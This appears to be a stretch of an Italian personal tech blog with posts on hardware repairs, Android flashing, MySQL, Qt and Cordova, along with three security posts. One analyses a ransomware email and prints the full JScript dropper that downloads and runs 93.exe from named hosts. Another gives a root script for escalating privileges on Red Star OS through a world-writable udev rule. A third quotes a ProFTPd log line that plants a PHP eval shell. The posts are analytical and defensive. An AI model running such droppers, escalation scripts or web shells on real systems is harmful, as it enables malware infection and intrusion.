mercoledì 3 febbraio 2016

W32 Ramsonware 93.exe

Ieri frugando nello spam di GMail ho trovato un messaggio proveniente da un mio parente con l'indicazione di un rischio legato al file in allegato denominato Jgw.zip.

La prima cosa curiosa guardando l'header della mail e' che l'indirizzo corrisponde a quella del mio parente solo nella username e non del dominio (che risulta essere biscuitmusic.com, un sito giapponese, al posto di libero.it)

--------------------------------
Delivered-To: lucxxxxxx@gmail.com
Received: by 10.28.60.11 with SMTP id j11csp1824576wma;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
X-Received: by 10.50.131.201 with SMTP id oo9mr3891354igb.68.1454194268656;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Return-Path: <xxxxx@biscuitmusic.com>
Received: from smtp310.phy.lolipop.jp (smtp310.phy.lolipop.jp. [210.157.22.78])
        by mx.google.com with ESMTP id jn5si5379918igb.40.2016.01.30.14.51.07;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Received-SPF: neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxxx@biscuitmusic.com) client-ip=210.157.22.78;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxx@biscuitmusic.com) smtp.mailfrom=xxxxxxx@biscuitmusic.com
Received: from smtp310.phy.lolipop.lan (HELO smtp310.phy.lolipop.jp) (172.17.1.10)
  (smtp-auth username sato@biscuitmusic.com, mechanism plain)
  by smtp310.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Sun, 31 Jan 2016 07:51:07 +0900
Received: from 186.64.232.94 (186.64.232.94)
 by smtp310.phy.lolipop.jp (LOLIPOP-Fsecure);
 Sun, 31 Jan 2016 07:50:48 +0900 (JST)
X-Spam-Status: Yes(LOLIPOP-Fsecure) with VIRUSGW/SPAM_RBL/186.64.232.94[bl.spamcop.net:127.0.0.2]
X-Virus-Status: clean(LOLIPOP-Fsecure)
Message-ID: <9753AAE9DA198CA1FC6E4AB2E048A630@smtp.lolipop.jp>
From: "xxxxxxx" <xxxxxxx@biscuitmusic.com>
To: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Subject: =?ISO-8859-1?Q?1=2F20=2F2016_11=3A49=3A25_PM?=
Date: Tue, 20 Jan 2016 11:49:25 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_F7A3_CF9742FB.005289E3"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110

This is a multi-part message in MIME format.

------=_NextPart_000_F7A3_CF9742FB.005289E3
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_3DE5_CF97430A.5525FFAB"

------=_NextPart_000_3DE5_CF97430A.5525FFAB
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
--------------------------------

E' scattata subito la curiosita' di capire cosa fosse e sono passato sotto Linux per evitare sorprese con qualche virus
Una volta decompresso il file zip vi era contenuto il file invoice_copy_JJBtlo.js. Aprendo con un editore e' apparso subito che si tratta di un sistema per scaricare il file http://skuawill.com/93.exe sulla macchina locale e mandarlo in esecuzione
(ATTENZIONE : alle 23.00 del 2 febbraio 2016 questo indirizzo era ancora attivo era possibile scaricare l'eseguibile del file)

in pratica il file Js e' uno script di shell di Windows che scarica il file e lo mette in TMP e lo nomina come 35184372088832 che corrisponde al 2 elevato alla 45
--------------------------------
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;

var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;


var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);

var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;


for (var v = 0; v < URLS.length; v++) {
    try {
        var url = URLS[v];
        httpRequest.open(METHOD_GET, url, false);
        httpRequest.send();
        if (httpRequest.status == STATUS_OK) {
            try {
                stream.open();
                stream.type = 1;
                stream.write(httpRequest.responseBody);
                if (stream.size > MIN_FILE_SIZE) {
                    v = URLS.length;
                    stream.position = 0;
                    stream.saveToFile(storedFilePathName, 2);
                }
            } finally {
                stream.close();
            }
        }
    }
    catch (ignored) {
    }
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
--------------------------------
Passando il file exe in un editor esadecimale si vede che e' un file EXE di Windows (l'intestazione e' correttamente MZ quindi nessun pericolo a giocare con Mac e Linux), ha una dimensione di 508 Kb e frugando tra le stringhe si trova qualcosa di leggibile solo in coda al file (dalla posizione 494784 in poi)  ma una ricerca su Google delle stringhe non porta da nessuna parte di precisa

Aggiornamento : e' presente il riferimento ad un linguaggio di scripting denominato Edify per modificare file binari (fare l'update) partendo da un file .zip. Viene citato come in uso dalla catena di build di CyanogenMod. Ho il sospetto che il codice sia compresso e cio' nasconde le stringhe critiche

La cosa piu' preoccupante (oltre al fatto che il server non risulta filtrato e continua a distribuire il file 93.exe) e' che su VirusTotal il file viene riconosciuto come malware solo da 14 su 54 antivirus (in alcuni casi con un nome generico mentre su altri antivirus come Tesla)
In ogni caso c'e' abbastanza concordia nel dire che si tratti di un ramsonware o filelocker, un programma che cripta in maniera forte i dati della vittima e chiede un riscatto in bitcoin per ottenere la chiave crittografica di decompressione




martedì 2 febbraio 2016

Resync Mysql

In questo post avevo provato a fare il mirroring master/slave di un database Mysql su macchine differenti


Prova di mysql mirroring su macchine virtuali Debian in VMWare

In generale la sincronia dei dati anche se la macchina slave e' spenta od offline. Al momento di ristabilire la connessione lo slave e' in grado di stabilire le differenze tra le proprie tabelle e quelle del master per richiedere la differenza

In alcuni casi questa procedura puo' entrare in crisi ed e' necessario effettuare un resync manuale con la procedura indicata qui passando da un file dump dei dati del master

In pratica si procede stoppando lo slave

stop slave;

si blocca il master e si effettua il dump dei dati in modalita' lock

reset master;
flush tables with read lock;

si esce dalla shell di Mysql e si crea il dump dei dati

mysqldump -u root -p mirrdatabase > dump.sql

si rientra nella shell di Mysql e si sbloccano le tabelle

unlock tables;

a questo punto si copiano i dati sullo slave (che ha il mirroring bloccato)

mysql -u root -p mirrdatabase < dump.sql

(nello script dump.sql ci sono le informazioni per cancellare le tabelle precedentemente presenti per cui non e' necessario farlo a mano)

si riavvia il mirroring
reset slave;
change master to master_log_file='mysql-bin.000001', master_log_pos=1;start slave;


questa procedura puo' essere utile nel momento di creare un mirroring di una macchina gia' in produzione da diverso tempo con una grande quantita' di dati che potrebbero creare problemi in fase di sincronia sia alla CPU che al traffico di rete

lunedì 1 febbraio 2016

Sostituzione batteria su A1286

La sostituzione della batteria sui Mac e' diventata con il tempo sempre piu' difficile a partire dai vecchi MacBook bianchi (dove era banale e bastava una monetina) ad alcuni modelli attuali in cui e' sostanzialmente impossibile

Una delle cose da tenere in considerazione quando si tenta di riportare in vita (o meglio usabile) un vecchio Mac e' che Apple ha la maledetta abitudine si usare uno stesso identificativo per una serie di portatili con hardware molto differente. Per esempio con l'identificativo A1286 vengono definiti 22 modelli differenti di MacBook Pro con dotazione da Core 2 Duo ad I7


Quindi se si compra una batteria di ricambio genericamente per A1286 c'e' la possibilita' di sbagliare (infatti la dimensione della batteria e' la medesima ma cambia il connettore)

Per il MacBook Pro 15 pollici Mid 2009 si deve scegliere il ricambio A1302


Sorpassato il problema iniziale della scelta del giusto ricambio la sostituzione e' banale, ci si deve solo ricordare che non tutte le viti del fondo del computer sono tutte delle stessa dimensione (quelle piu' lunghe sono sul lato della cerniera del monitor). Un lavoro da 10 minuti e circa 30 euro di spesa

venerdì 29 gennaio 2016

Hacking Red Star 3.0

Red Star e' un sistema operativo basato su Linux, probabilmente da una Fedora, creato da governo della Nord Corea con l'evidente scopo di tracciare e limitare le attivita' online dei propri utenti,
La notizia della fuga della iso del sistema operativo e' piuttosto vecchiotta cosi' come il sistema per hackerare il sistema ma e' un ottimo esempio di come si puo', su un sistema solido come Linux, effettuare una scalata di privilegi con metodi banali (ovvero senza ricorrere a buffer overflow od exploit particolari) basandosi su una pessima configurazione del sistema

La iso puo' essere scaricata da questo link

Finestra di Login di RedStar

Attenzione : e' fortemente consigliato di giocare con RedStar soltanto all'interno di una macchina virtuale disconnettendo l'interfaccia di rete virtuale ed evitando qualsiasi tipo di condivisione con il filesystem reale o chiavette USB reali (Red Star effettua di nascosto un watermark di tutti i file che scansiona)

Il primo ostacolo che si incontra nella installazione della iso e' che e' tutta (ovviamente) in coreano quindi bisogna andare un po' a caso. Essendo comunque solo una traduzione e non una modifica del procedimento base e' piuttosto semplice concludere il processo

Schermata dell'installazione

A questo punto ho provato a raggiungere una shell. Usando le combinazioni di tasti CTRL+ALT+Fx si ha che su F1 si ha una shell testuale ma a cui non si puo' effettuare il login mentre su F2 si ha X, nessuna altra shell virtual


In realta' frugando nei menu si trova un Xterm. Si deve cliccare sull'icona in basso per aprire il menu dei programmi.


Poi cliccando sulla quarta icona da sinistra nella riga piu' in alto della finestra soprastante (icona del folder verde) si accede alla schermata sottostante


Si clicca sul folder con martello e chiave (che dovrebbe essere qualcosa tipo Utility) e si arriva finalmente all'icona del terminale


Una volta ottenuta la shell si ha il problema che digitando sulla tastiera compaiono caratteri coreani ed e' quindi impossibile digitare i comandi Unix. La soluzione e' quella di premere a lungo e rilasciare il tasto Alt-Gr, a questo punto dovrebbero comparire i caratteri latini e si puo' procedere

e qui inizia la vera e propria scalata dei privilegi
la debolezza del sistema risiede tutta nella cattiva configurazione dei permessi nel file /etv/udev/rules.d/85-hpjl10xx.rules che e' settato come 777
RedStar e' impostato per impedire l'esecuzione di file di sistema ed ovviamente l'utente normale non puo' utilizzare sudo. Pero' il file in esame viene eseguito in fase di boot come root/admin.
Il gioco sta semplicemente nel modificare il file (perche' e' comunque scrivibile) e riavviare il computer per eseguire i comandi aggiunti per prendere il controllo della macchina



lo script (trovato qui) e' il seguente
semplicemente vengono aggiunti tutti gli utenti alla lista sudoers .. di una semplicita' disarmante
---------------------------------------------
 #!/bin/bash -e
 cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
 echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
 cat <<EOF >/tmp/r00t.sh
 echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
 mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
 chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
 rm /tmp/r00t.sh
 EOF
 chmod +x /tmp/r00t.sh
 echo "sudo will be available after reboot"
 sleep 2
 reboot
---------------------------------------------







mercoledì 27 gennaio 2016

Normalizzazione immagini con ImageMagick

Per un software di elaborazione immagini, in particolare per calcolare gli spostamenti da un video in timelapse, avevo la necessita' di confrontare immagini con la stessa inquadratura ma con condizioni di luce differenti, possibilmente con procedura batch

Una soluzione e' stata trovata negli script a questo link http://www.fmwconcepts.com/imagemagick/, in particolare bcmatch

Le immagini di riferimento sono state riprese a 11 minuti di distanza all'alba. L'elaborazione ha tentato di riportare le condizioni di illuminazione di Immagine 2 a quelle di Immagine 1 (per confronto si puo' vedere la posizione della Luna nel cielo)

Il risultato non e' perfetto ma decisamente buono e conforme per quanto richiesto dal successivo software di elaborazione.
Immgine 1

Immagine 2

Immagine 2 normalizzata ad Immagine 1

La stessa cosa con le immagini pero' a scala di grigio

Immagine 1 scala grigio

Immagine 2 scala grigio


Immagine 2 normalizzata ad Immagine 1


martedì 26 gennaio 2016

CyanogenMod su XT1032: all'inferno e ritorno

Visto che il mio fidato Moto G 2013 prima edizione (altrimenti conosciuto come XT1032/Falcon) ha ormai raggiunto con Android 5.1 il termine degli aggiornamenti da parte di Motorola (peraltro nel frattempo defunta) ho voluto provare a fare il salto verso Android 6 MarshMallow con la CyanogenMod...mai mossa fu piu' avventata


Per prima cosa e' stato necessario sbloccare il bootloader (le istruzioni ufficiali si trovano a questo link). Non e' una operazione banale come con i Nexus in quanto bisogna far partire il telefono in modalita' fastboot con 

adb reboot bootloader

e poi farsi dire l'identificativo del dispositivo con il comando

fastboot oem get_unlock_data

il telefono risponde con un codice seriale di cinque righe che devono essere copiate e messe su una unica riga alla pagina a questo link
Verra' mandata una mail con un codice molto piu' corto da inserire nel comando

fastboot oem unlock codice_seriale_per_email

al successivo riavvio la tranquilizzante schermata di Moto viene cambiata in questo messaggio vagamente minaccios


il passo successivo e' stato installare la recovery TWRP (ogni telefono ha la sua, per Moto G si scarica da questo link). Facendo ripartire il telefono in modalita' bootloader si flasha la recovery con il comando 

fastboot flash recovery  twrp-2.8.6.0-xt1032.img

sul telefono viene generato un errore di mismatch delle dimensioni del file. va tutto bene, e' solo il telefono che protesta per vedere arrivare un file di dimensioni differenti da quelli di default

Modalita' Download
Ho dovuto fare un paio di tentativi per avere una installazione corretta di TWRP

A questo punto con il tasto Vol - si selezione Recovery e si conferma con il tasto Vol+ e si puo' installare il file zip precedentemente caricato sulla SD.

TWRP
E qui inizia il primo errore.Volendo installare Android 6 ho montato la CyanogenMod 12.1 che pero' corrisponde alla 5.1..quindi non ho guadagnato niente da questa nuova rom (seppure molto veloce). In piu' si e' aggiunto un problema perche' con l'installazione delle OpenGApps non funziona l'orologio di default di Google ne' la ricerca vocale (niente di drammatico ma a ma la sveglia serve)

Fatto 30 ho provato a fare 31 installando la CyanogemMod 13, attualmente solo in night build. Installazione completata correttamente e con il telefono ancora veloce.



Per finire ho montato le OpenGApss per Android 6 ed e' stato l'inizio dei problemi. Al riavvio il telefono era diventato non usabile perche' la Configurazione Automatica di Google (Configuration Wizard) andava in crash ogni secondo rendendo impossibile interagire con il telefono (e stupidamente non avevo prima attivato il supporto via Adb)

Vista l'impossibilita' di usare MarshMallow ho provato a tornare indietro e riflashare la 12.1 ma, per cause non chiare, il telefono e' rimasto per una buona mezz'ora bloccato sulla schermata bianca del bootloader di Motorola (la seconda di questo post) riavviandosi ogni 10 secondi e senza riuscire ad entrare in Download Mode

Dopo una serie di prove sono riuscito a riprendere almeno il controllo del bootloader e dovendo ripristinare la Rom originale almeno ho provato ad inserire la Google Play Edition con questa installazione facilitata

Adesso ho un Moto G  funzionante con Android 5.1 che condivide lo stesso software del Nexus 4

In conclusione:
1) CyanogenMod e' molto veloce ma l'integrazione con le app di Google e' molto delicata e non perfetta per cui si puo' andare rapidamente incontro a problemi

2) E' presto per MarshMallow su Moto G 2013

3) Con la TWRP e' possibile attivare la funzione ADB sideload (nel menu avanzate).Con questo sistema e' possibile flashare una immagine Rom senza caricarla in precedenza sulla memoria del telefono. Durante i vari disastri/tentativi per ripristinare il Moto G mi sono trovato nella condizione di non avere un sistema operativo funzionante e di poter scrivere sulla partizione dello storage. Digitando dal computer

adb sideload  cm-12.1-20151117-SNAPSHOT-YOG7DAO1K9-falcon.zip









venerdì 22 gennaio 2016

Ublox NEO M8N su Arduino

Dopo aver provato vari moduli GPS (qui e qui) per il mio acquisitore, ho comprato un UBlox Neo-M8N che dovrebbe garantire prestazioni un po' piu' professionali mantenendo il costo attorno ai 20-30 euro

In realta' il chip Ublox da solo e' sostanzialmente inutile perche' ha bisogno di elettronica di contorno e non e' banale da saldare in quanto e' SMD, quindi conviene comprare una scheda gia' assemblata. Ho preso quindi su Aliexpress il modulo sottostante, comprensivo di antenna passiva, che giunge con uno strano connettore a 4 fili ed uno a due fili


con un po' di ricerca ho scoperto che questo tipo di connettore e' compatibile con gli autopilot PixHawk, in pratica si tratta di un  modulo pronto per essere montato su un drone. Il mio obbiettivo era quello invece di usarlo con Arduino e visti i cavi sottili ho dovuto usare una millefori per fare una stabile di collegamento tra due tipi di fili di spessore differente 




Per testare il modulo e' disponibile il software Ucenter  per Windows. Non avendo a portata di mano una cavo FTDI ho connesso la seriale TTL dell'Ublox ad una Arduino su una seriale software per poi ridigere tutto sulla porta USB della Arduino (attenzione : il Neo-M8N ha una alimentazione massima a 3.3 V)

Questo e' lo sketch impiegato disponibile tra gli esempi della IDE di Arduino
----------------------------------------

#include <SoftwareSerial.h>

SoftwareSerial mySerial(2, 3); // RX, TX

void setup() {
  Serial.begin(9600);
  while (!Serial) {
  }

  mySerial.begin(9600);
}

void loop() { // run over and over
  if (mySerial.available()) {
    Serial.write(mySerial.read());
  }
  if (Serial.available()) {
    mySerial.write(Serial.read());
  }
}

----------------------------------------

Con il software Ucenter e' semplice avere una rappresentazione grafica della distribuzione dei punti. La nuvola dei punti e' rimasta nell'intorno di +/- 2 m con una standard deviation  inferiore al metro
Si vede chiaramente anche con l'Ublox riceva segnali sia GPS che Glonass


Questa e' la traccia invece plottata sul terreno. La posizione reale era al centro del rettangolo marrone


Questa e' la variazione in altezza registrata

Il modulo testato e' decisamente veloce nell'acquisizione ed ha delle caratteristiche migliori di Adafuit ad un prezzo comparabile. Cio' che manca e' la presenza di un Pin che permetta di spengere l'antenna per risparmiare energia

giovedì 21 gennaio 2016

Leggere file XML in Qt

Avevo necessita' di leggere un file xml generato da una mia applicazione mobile e dovendo scrivere un lettore multipiattaforma la mia scelta e' caduta su Qt

Questo e' il file da leggere
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<frane>
<frana id="1">
<localita>Pino Torinese</localita>
<comune>Torino</comune>
<data>19/01/2016</data>
<ora>1:45 pm</ora>
<compilatore>Luca Innocenti</compilatore>
<annotazioni></annotazioni>
<est></est>
<nord></nord>
<sistema>WGS84</sistema>
<A>4</A>
<EE>1</EE>
<H>2</H>
<ALPHA>3</ALPHA>
<F>2</F>
<V>4</V>
<M>2</M>
<codice>3/<codice>
</frana>
</frane>
----------------------------

e questo e' lo scheletro del codice Qt (piuttosto autoesplicativo). Prima si carica il file come xmlBOM e poi lo di scorre cercando le varie chiavi
Per la compilazione e' necessario aggiungere al progetto
Qt = + xml

----------------------------
#include "mainwindow.h"
#include "ui_mainwindow.h"

#include <iostream>
#include <QtXml>
#include <QFile>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::on_pushButton_clicked()
{
     QDomDocument xmlBOM;
     QFile f("/Users/lucainnocenti/Triage.xml");
     if (!f.open(QIODevice::ReadOnly ))
     {
         std::cerr << "Error while loading file" << std::endl;
     }
     xmlBOM.setContent(&f);
     f.close();


     QDomElement root=xmlBOM.documentElement();
     QDomElement Component=root.firstChild().toElement();

     while(!Component.isNull())
     {
         if (Component.tagName()=="frana")
         {
           QDomElement Child=Component.firstChild().toElement();
           QString localita,comune,data,ora,compilatore;
           int A;

             while (!Child.isNull())
             {
                 // Read Name and value
                 if (Child.tagName()=="localita") localita=Child.firstChild().toText().data();
                 if (Child.tagName()=="comune") comune=Child.firstChild().toText().data();
                 if (Child.tagName()=="data") data=Child.firstChild().toText().data();
                 if (Child.tagName()=="ora") ora=Child.firstChild().toText().data();
                 if (Child.tagName()=="compilatore") compilatore=Child.firstChild().toText().data();
                 if (Child.tagName()=="A") A=Child.firstChild().toText().data().toInt();

                 Child = Child.nextSibling().toElement();
             }
             std::cout << "Localita = " << localita.toStdString().c_str() << std::endl;
             std::cout << "Comune = " << comune.toStdString().c_str() << std::endl;
             std::cout << "Data = " << data.toStdString().c_str() << std::endl;
             std::cout << "Ora = " << ora.toStdString().c_str() << std::endl;
             std::cout << "Compilatore = " << compilatore.toStdString().c_str() << std::endl;
             std::cout << "A = " << localita.toStdString().c_str() << std::endl;
             std::cout << std::endl;
             ui->label->setText(comune);
         }
         Component = Component.nextSibling().toElement();
     }
}
----------------------------

mercoledì 20 gennaio 2016

Debian su ToughBook CF-18


Ho preso, per l'uso in campagna (dopo aver rischiato di perdere un Lenovo X202 per l'umidita'), un vecchio Panasonic ToughBook CF-18 ed invece di montare Windows XP ho provato a vedere come reagiva con una Debian moderna (tempo fa avevo provato un Panasonic FZ-A1 che fa parte della stessa famiglia)

La cosa che mi preoccupava di piu' era il riconoscimento del digitalizzatore (non ho preso il modello a touchscreen ma quello che funziona solo con il suo pennino)


In realta' non ho dovuto fare molto perche' il digitalizzatore e' riconosciuto subito dal sistema di installazione di Debian senza nessuna configurazione

Mi ha dato un po' piu' da penare la scheda wireless, una Intel Pro Wireless 2200. Dopo l'installazione ho abilitato i repository non-free  caricato il firmware

apt-get install firmware-ipw2x00
ma in ifconfig nessuna traccia del dispositivo. Leggendo i log di sistema non c'erano errori del caricamento del modulo

La soluzione e' chiamare il comando iwconfig dove si vede che il dispositivo viene chiama eth1 e non wlan0 come mi sarei aspettato



Fatto cio' ho pouto configurare a mano il Network Manager di Lxde (che non riconosce in automatica le schede wireless) e potuto iniziare ad usare il dispositivo (veramente solido ma con una tastiera ed un trackpad da bambino di 10 anni)


martedì 19 gennaio 2016

Sostituire batteria su Moto E

Come il suo fratello maggiore Moto G, anche il Moto E non ha la batteria sostituibile perche' e' bloccata dalla scocca.

Purtroppo il tempo di vita della batteria EL40 e' stato inferiore ai due anni ed invece di ricomprare un altro telefono ho provato la sostituzione. Mi sono comprato su un ecommerce cinese un set di attrezzi per smontare il telefono ma le chiavi si sono mostrate sbagliate

Ho notato che lo chassis che blocca la batteria e' costituito da una sottile lamina di plastica (al contrario del Moto G dove la batteria e' completamente bloccata)




Con molta calma ed agendo dal basso verso l'alto (non e' una buona idea bucare il contenitore di una batteria LiPo) ho tagliato la plastica su uno dei due bordi ed alzato il coperchio


Il connettore della batteria e' a soli due contatti ed e' a pressione.
10 minuti di lavoro e 10 euro di batteria ed il telefono e' tornato funzionante

lunedì 18 gennaio 2016

Gradle error

Oggi compilando, senza modifiche, un progetto Android Studio che fino a due giorni fa funzionava ho avuto l'errore

Plugin is too old, please update to a more recent version, or set ANDROID_DAILY_OVERRIDE environment variable to "efdc9743630b8ba5a00eaeaa1375fff7cdb0e3cb"


la soluzione e' piuttosto nascosto e si deve aggiornare la stringa

classpath 'com.android.tools.build:gradle:2.0.0-alpha2'

a

classpath 'com.android.tools.build:gradle:2.0.0-alpha3'
in build.gradle di CordovaLib ed in build.gradle di Android

mercoledì 13 gennaio 2016

FTP exploit CVE-2015-3306 su Ubuntu 14.04 LTS

Frugando su un server che non amministro direttamente e' stata trovata questa stringa ed e' ovviamente scattato l'allarme generale

proftpd: 31.131.56.168:57602: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
dopo una breve verifica e' stata trovato il file di configurazione di Wordpress copiato in una directory leggibile del sistema (wp-contente/themes) ed e' stato chiara la compromissione

analizzando i log di ProFtpd erano presenti nell'ultimo mese solo due accessi di pochi secondi dall'ip sopra indicato (che corrisponde ad un indirizzo polacco...avrei scommesso qualsiasi cosa su Cina e Russia) a testimoniare che l'ospite e' andato a colpo sicuro (forse uno script kiddie)

La macchina in esame era una Ubuntu 14.04 LTS (non aggiornata perche' non era stato impostato il DNS giusto ma vedremo che cio' non ha influito) con montato ProFtpd 1.3.5rc3

Consultando questo link
https://www.exploit-db.com/exploits/36742/
si vede che la versione installata permette l'esecuzione di copia di comandi anche ad utenti non autenticati (mi sembra di essere tornato indietro di 10-12 anni ai tempi di Red Hat 7..)

il codice Php e' una shell Php


Attacchi praticamente identici sono descritti a questo link

A questo punto basta fare un update/upgrade per scaricare la versione patchata del server ftp e si va avanti...peccato che Ubuntu 14.04 non abbia nella lista degli aggiornamenti il server ProFtpd patchato
Guardando meglio a questo link
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3306.html
si vede che le versioni del 2015 sono immuni dal problemi mentre la 14.04, benche' sia una LTS e' vulnerabile


per quanto riguarda Debian la versione 7 ha nei repository la versione 1.3.4 (vecchiotta ma sembra esente da problemi di exploit mentre la versione 8 monta la 1.3.5.1 patchata
da questo link si evidenzia che Debian e' esente dal problema https://security-tracker.debian.org/tracker/CVE-2015-3306


Lunga vita a Debian

martedì 12 gennaio 2016

Remix OS 2.0

Doveva uscire oggi la realease pubblica di Remix OS 2.0, una versione a finestra di Android nata per l'ambiente desktop....nonostante le attese pero' non ci sono novita' sul sito ma  frugando su Internet ho trovato una ISO del 30/12/2015 (2 Giga circa, 700 Mb compressi) scaricabile da Google Drive (qualche ora dopo anche il sito ufficiale e' comparsa la versione alpha da 700 Mb con incluso il programma per creare la penna USB avviabile)..la versione ufficiale alpha risulta essere piu' stabile e veloce

Non volendomi giocare un computer ho provato il sistema su Virtualbox (su VMWare non sembra partire)

L'unica accortezza e' quella, al boot, di premere Tab ed agguingere vga=791 per configurare la scheda video
La barra verde e' un errore grafico,cliccandoci sopra diventa nera con il bordo superiore verde
Il sistema puo' funzionare in Guest Mode (avviabile da chiavetta) o Resident Mode (installazione su HD)

Le prime impressioni da utente Android non sono esaltanti piu' che altro perche' il sistema e' molto lento in modo virtualizzato
il sistema a finestra funziona ma non e' presente per tutte le applicazioni (alcune si aprono a tutto schermo e sembra possibile solo minimizzarle)
Dai Settings si osserva che il sistema si basa su Android 5.1.1 e Android_x86_64 bit 4.0.9 ed e' presente un file manager

lunedì 11 gennaio 2016

Compilare Apache/Cordova sotto Android Studio/IOS

Per compilare i progetti Cordova su Android ed IOS di solito faccio creare lo scheletro del  codice  a Cordova ma poi intervengo con Android Studio e XCode per le modifiche

Android
Per prima cosa si devono modificare i file

build.gradle  Module:CordovaLIb
build.gradle Module:android

sostituendo mavenCentral() con jcenter()
e risincronizzando il progetto (altrimenti non si compila)




IOS
Un aspetto fastidioso di Cordova su IOS e' che la WebView fa a corprire parte della statusbar.
Per evitare cio' la cosa piu' semplice e' nascondere la status bar aggiungendo a MainViewController.m la funzione

- (BOOL)prefersStatusBarHidden { return YES; }

Pinch to Zoom
Sia la rotazione del display che il pinch to zoom non sono abilitati di default in Cordova (e questo puo' essere molto fastidioso per utenti mobile abituati a questa funzionalita' praticamente ovunque)


Android

In Android devono essere aggiunta alla MainActivity le righe evidenziate in giallo

------------------------------

import android.os.Bundle;import org.apache.cordova.*;import android.webkit.WebSettings;
import android.webkit.WebView;


public class MainActivity extends CordovaActivity
{
    @Override    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        // Set by <content src="index.html" /> in config.xml        loadUrl(launchUrl);        WebView webView = (WebView) appView.getEngine().getView();
        WebSettings ws = webView.getSettings();
        ws.setSupportZoom(true);
        ws.setBuiltInZoomControls(true);
    }
}

------------------------------

IOS
In Ios si deve modificare il file config.xml in modo da abilitare il ViewPortScale

<platform name="ios">
        <allow-intent href="itms:*" />
        <allow-intent href="itms-apps:*" />
        <preference name='EnableViewportScale' value='true'/>
        <preference name='Orientation' value='all'/>
</platform>

fra le altre cose nel medesimo file si puo' abilitare anche l'Orientation 

LLama3 Anita

A seguito di questo post ho provato a vedere ho provato a vedere cosa accadeva ad utilizzare un modello specifico per la lingua italiana in...